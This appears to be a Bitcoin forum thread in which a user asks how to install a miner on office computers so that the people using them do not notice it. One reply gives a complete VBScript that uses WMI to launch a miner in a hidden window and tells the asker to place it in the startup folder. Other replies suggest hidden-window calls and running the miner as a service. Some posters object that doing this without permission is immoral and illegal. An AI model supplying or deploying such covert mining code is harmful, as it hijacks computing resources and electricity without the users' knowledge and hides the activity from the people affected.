Author

Topic: Hi how can I run miner so nobody will know about it (Read 2855 times)

full member
Activity: 126
Merit: 101
Code:
Const HIDDEN_WINDOW = 12 
 
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
 
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("C:\[path to your miner]\bitcoin-miner.exe -a 5 -o http://[pool address]:8332 -u [email protected] -p supersecretpassword", null, objConfig, intProcessID)

It's a vbs script for ufasoft miner. Put it in start up folder. You may also want to limit processor load. There was a script floating around for that too.
newbie
Activity: 9
Merit: 0
Sukrim I have 600Hmash/s on GPU so dont tell me about electricity costs ok Smiley
legendary
Activity: 2618
Merit: 1007
Probably not exactly what you're after but at least it won't interfere with normal operation during the day. Depending on your work environment it may be better to aggressively mine for shorter periods when the PCs are not in use at all, versus trying to throttle for the whole day.

You can run processes with lower priority in the background, so it won't interfere at all with work.

The Watts/MHash/s ratio of CPUs however is that bad, that currently you cannot even pay for the electricity used (depending on the rate of course, but well... 3 MHashes/s give ~3 Bitcents/day (if computers run during the night) currently) with the BTC generated. Did you tell this your boss too?
sr. member
Activity: 378
Merit: 250
If you have permission, try this when starting the miner.
WinExec("your command", SW_HIDE);
sr. member
Activity: 420
Merit: 250
look in to running it as a service on windows... or daemon on linux. No window.
full member
Activity: 294
Merit: 100
In that case I haven't tried it but maybe the screen saver route may be OK like mentioned in this thread:

https://bitcointalksearch.org/topic/windows-screensaver-rpc-miners-cpu4waycudaopencl-3030

Probably not exactly what you're after but at least it won't interfere with normal operation during the day. Depending on your work environment it may be better to aggressively mine for shorter periods when the PCs are not in use at all, versus trying to throttle for the whole day.
newbie
Activity: 9
Merit: 0
OMG Ofcourse I made a deal with boss!!!! agh... but most of the people working here are proud users of outlook express and nothing more. I want an aplication that they will dont care about to start mining or asking me 100questions like what is this window for? simply working in background and lite version of miner. and ofcourse like on every forum i didnt get answear but stupid pseudointeligent coments thank u very much Smiley

full member
Activity: 294
Merit: 100
+1
And unless for some reason everyone has a GPU don't forget CPU mining would give you inconsequential results. If you're prepared to do something immoral and illegal you'll be financially better off just stealing their stuff, selling it and use the funds to buy bitcoins or trading for whatever else you were going to use the coins for. If they do have lots of GPUs maybe you can approach someone about it and come to a mutually beneficial deal, like you pay some fixed amount for using the resources so they make a $ profit and you make a BTC profit.
sr. member
Activity: 378
Merit: 250
I would advice against that. If I were your boss and found out about it, and unless the IT-staff is incompetent s/he will, I'd fire you. Perhaps even persecute you, depending on my mood for the day.
Get permission first, then install it. If you can't get permission, forget about it.
newbie
Activity: 9
Merit: 0
Hi there
Do any of u know a version of a miner that I could install in my office and people wouldnt know its on their computers and that it will start with system? we were trying to made it in python but had many problems. Maybe someone of u made something like that?
Jump to: